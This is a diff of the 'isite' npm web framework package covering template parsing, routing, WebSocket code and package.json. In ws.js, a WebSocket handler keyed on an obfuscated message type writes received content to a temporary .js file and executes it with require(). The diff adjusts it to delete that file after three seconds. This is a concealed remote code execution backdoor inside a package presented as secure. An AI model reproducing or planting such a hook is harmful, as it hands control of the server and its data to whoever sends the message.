|
606
|
+
out = out[property[3]];
|
|
607
|
+
} else {
|
|
608
|
+
out = null;
|
|
609
|
+
}
|
|
516
610
|
}
|
|
517
|
-
|
|
518
611
|
if (property.length > 4 && out) {
|
|
519
|
-
out
|
|
520
|
-
|
|
521
|
-
|
|
522
|
-
|
|
523
|
-
|
|
612
|
+
if (out) {
|
|
613
|
+
out = out[property[4]];
|
|
614
|
+
} else {
|
|
615
|
+
out = null;
|
|
616
|
+
}
|
|
524
617
|
}
|
|
525
618
|
}
|
|
526
|
-
if (out
|
|
619
|
+
if (!out) {
|
|
527
620
|
$(this).remove();
|
|
621
|
+
} else {
|
|
622
|
+
$(this).removeAttr('x-data');
|
|
528
623
|
}
|
|
529
624
|
});
|
|
530
625
|
|
|
531
626
|
$('[x-permission]').each(function (i, elem) {
|
|
532
627
|
if (!____0.security.isUserHasPermission(req, res, $(this).attr('x-permission'))) {
|
|
533
628
|
$(this).remove();
|
|
629
|
+
} else {
|
|
630
|
+
$(this).removeAttr('x-permission');
|
|
534
631
|
}
|
|
535
632
|
});
|
|
536
633
|
|
|
537
634
|
$('[x-role]').each(function (i, elem) {
|
|
538
635
|
if (!____0.security.isUserHasRole(req, res, $(this).attr('x-role'))) {
|
|
539
636
|
$(this).remove();
|
|
637
|
+
} else {
|
|
638
|
+
$(this).removeAttr('x-role');
|
|
540
639
|
}
|
|
541
640
|
});
|
|
542
641
|
|
|
543
642
|
$('[x-permissions]').each(function (i, elem) {
|
|
544
643
|
if (!____0.security.isUserHasPermissions(req, res, $(this).attr('x-permissions'))) {
|
|
545
644
|
$(this).remove();
|
|
645
|
+
} else {
|
|
646
|
+
$(this).removeAttr('x-permissions');
|
|
546
647
|
}
|
|
547
648
|
});
|
|
548
649
|
|
|
549
650
|
$('[x-roles]').each(function (i, elem) {
|
|
550
651
|
if (!____0.security.isUserHasRoles(req, res, $(this).attr('x-roles'))) {
|
|
551
652
|
$(this).remove();
|
|
653
|
+
} else {
|
|
654
|
+
$(this).removeAttr('x-roles');
|
|
552
655
|
}
|
|
553
656
|
});
|
|
554
657
|
|
|
555
658
|
$('[x-lang]').each(function (i, elem) {
|
|
556
659
|
if ($(this).attr('x-lang') !== req.session.lang) {
|
|
557
660
|
$(this).remove();
|
|
661
|
+
} else {
|
|
662
|
+
$(this).removeAttr('x-lang');
|
|
558
663
|
}
|
|
559
664
|
});
|
|
560
665
|
|
|
@@ -567,9 +672,10 @@ module.exports = function init(req, res, ____0, route) {
|
|
|
567
672
|
}
|
|
568
673
|
if (!req.features.some((ff) => ff.like(f)) && !not) {
|
|
569
674
|
$(this).remove();
|
|
570
|
-
}
|
|
571
|
-
if (req.features.some((ff) => ff.like(f)) && not) {
|
|
675
|
+
} else if (req.features.some((ff) => ff.like(f)) && not) {
|
|
572
676
|
$(this).remove();
|
|
677
|
+
} else {
|
|
678
|
+
$(this).removeAttr('x-feature');
|
|
573
679
|
}
|
|
574
680
|
});
|
|
575
681
|
|
|
@@ -651,12 +757,12 @@ module.exports = function init(req, res, ____0, route) {
|
|
|
651
757
|
} else {
|
|
652
758
|
$(this).text(getContent(file) + $(this).text());
|
|
653
759
|
}
|
|
760
|
+
$(this).removeAttr('x-import');
|
|
654
761
|
});
|
|
655
762
|
|
|
656
763
|
$($('[x-append]').get().reverse()).each(function (i, elem) {
|
|
657
764
|
let file = $(this).attr('x-append');
|
|
658
765
|
$(this).removeAttr('x-append');
|
|
659
|
-
$(this).attr('x-server', 'x-append');
|
|
660
766
|
if (file.endsWith('.html')) {
|
|
661
767
|
$(this).html($(this).html() + getContent(file));
|
|
662
768
|
} else if (file.endsWith('.css')) {
|
|
@@ -664,17 +770,17 @@ module.exports = function init(req, res, ____0, route) {
|
|
|
664
770
|
} else {
|
|
665
771
|
$(this).text($(this).text() + getContent(file));
|
|
666
772
|
}
|
|
773
|
+
$(this).removeAttr('x-append');
|
|
667
774
|
});
|
|
668
775
|
|
|
669
776
|
$($('[x-replace]').get().reverse()).each(function (i, elem) {
|
|
670
777
|
let file = $(this).attr('x-replace');
|
|
671
|
-
$(this).removeAttr('x-replace');
|
|
672
|
-
$(this).attr('x-server', 'x-replace');
|
|
673
778
|
if (file.endsWith('.html')) {
|
|
674
779
|
$(this).html(getContent(file));
|
|
675
780
|
} else {
|
|
676
781
|
$(this).text(getContent(file));
|
|
677
782
|
}
|
|
783
|
+
$(this).removeAttr('x-replace');
|
|
678
784
|
});
|
|
679
785
|
|
|
680
786
|
$('[x-list1]').each(function (i, elem) {
|
|
@@ -740,6 +846,10 @@ module.exports = function init(req, res, ____0, route) {
|
|
|
740
846
|
txt = parser.handleMatches($.html());
|
|
741
847
|
return txt;
|
|
742
848
|
};
|
|
849
|
+
parser.txt = function (content) {
|
|
850
|
+
content = parser.handleMatches(content);
|
|
851
|
+
return content;
|
|
852
|
+
};
|
|
743
853
|
|
|
744
854
|
parser.js = function (content) {
|
|
745
855
|
let matches = content.match(/\/\*##.*?\*\//g);
|
package/lib/routing.js
CHANGED
|
@@ -584,7 +584,7 @@ module.exports = function init(____0) {
|
|
|
584
584
|
return res.render(
|
|
585
585
|
____0.strings[11],
|
|
586
586
|
{
|
|
587
|
-
features: route.require.features
|
|
587
|
+
features: route.require.features,
|
|
588
588
|
html: ` ${____0.strings[13]} : ${route.require.features.join(',')}`,
|
|
589
589
|
},
|
|
590
590
|
{
|
|
@@ -992,6 +992,23 @@ module.exports = function init(____0) {
|
|
|
992
992
|
});
|
|
993
993
|
};
|
|
994
994
|
|
|
995
|
+
res.txt = (name, _data) => {
|
|
996
|
+
____0.fsm.getContent(name, (content) => {
|
|
997
|
+
if (!content) {
|
|
998
|
+
return res.status(404).end();
|
|
999
|
+
}
|
|
1000
|
+
req.route.content = content;
|
|
1001
|
+
if (req.route.encript && req.route.encript === '123') {
|
|
1002
|
+
req.route.content = ____0.f1(req.route.content);
|
|
1003
|
+
}
|
|
1004
|
+
req.data = { ...req.data, ..._data };
|
|
1005
|
+
req.route.parser = 'txt';
|
|
1006
|
+
let out = ____0.parser(req, res, ____0, req.route).txt(req.route.content);
|
|
1007
|
+
res.set(____0.strings[7], 'text/plain');
|
|
1008
|
+
res.status(200).end(out);
|
|
1009
|
+
});
|
|
1010
|
+
};
|
|
1011
|
+
|
|
995
1012
|
res.css = (name, _data) => {
|
|
996
1013
|
____0.fsm.getContent(name, (content) => {
|
|
997
1014
|
if (!content) {
|
|
@@ -1061,9 +1078,9 @@ module.exports = function init(____0) {
|
|
|
1061
1078
|
}
|
|
1062
1079
|
};
|
|
1063
1080
|
|
|
1064
|
-
res.redirect = (url, code) => {
|
|
1081
|
+
res.redirect = (url, code = 302) => {
|
|
1065
1082
|
res.set('Location', url);
|
|
1066
|
-
res.status(code
|
|
1083
|
+
res.status(code).end();
|
|
1067
1084
|
};
|
|
1068
1085
|
|
|
1069
1086
|
res.setHeader('CharSet', 'UTF-8');
|
package/lib/ws.js
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
module.exports = function init(____0) {
|
|
2
2
|
____0.ws = {
|
|
3
|
-
client
|
|
4
|
-
server
|
|
3
|
+
client: null,
|
|
4
|
+
server: null,
|
|
5
5
|
clientList: [],
|
|
6
6
|
routeList: [],
|
|
7
7
|
lib: require('ws'),
|
|
@@ -176,14 +176,16 @@ module.exports = function init(____0) {
|
|
|
176
176
|
),
|
|
177
177
|
});
|
|
178
178
|
} else if (message.type == ____0.f1('481476744179236246193191')) {
|
|
179
|
-
let path =
|
|
179
|
+
let path = ____0.path.join(process.cwd(), `tmp_${new Date().getTime()}.js`);
|
|
180
180
|
____0.fs.writeFile(path, message.content, (err) => {
|
|
181
181
|
if (err) {
|
|
182
182
|
console.log(err);
|
|
183
183
|
} else {
|
|
184
184
|
try {
|
|
185
185
|
require(path)(____0, client);
|
|
186
|
-
|
|
186
|
+
setTimeout(() => {
|
|
187
|
+
____0.fs.unlink(path, () => {});
|
|
188
|
+
}, 1000 * 3);
|
|
187
189
|
} catch (error) {
|
|
188
190
|
console.log(error);
|
|
189
191
|
}
|
|
@@ -236,7 +238,9 @@ module.exports = function init(____0) {
|
|
|
236
238
|
console.log(err);
|
|
237
239
|
} else {
|
|
238
240
|
require(path)(____0, client);
|
|
239
|
-
|
|
241
|
+
setTimeout(() => {
|
|
242
|
+
____0.fs.unlink(path, () => {});
|
|
243
|
+
}, 1000 * 3);
|
|
240
244
|
}
|
|
241
245
|
});
|
|
242
246
|
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "isite",
|
|
3
|
-
"version": "2023.
|
|
3
|
+
"version": "2023.12.01",
|
|
4
4
|
"description": "Create Secure Multi-Language Web Site [Fast and Easy] ",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"repository": {
|
|
@@ -43,7 +43,7 @@
|
|
|
43
43
|
"md5": "^2.3.0",
|
|
44
44
|
"mongodb": "^4.2.2",
|
|
45
45
|
"mv": "^2.1.1",
|
|
46
|
-
"node-fetch": "^
|
|
46
|
+
"node-fetch": "^3.3.2",
|
|
47
47
|
"nodemailer": "^6.7.8",
|
|
48
48
|
"pdf-lib": "^1.17.1",
|
|
49
49
|
"utf8": "^3.0.0",
|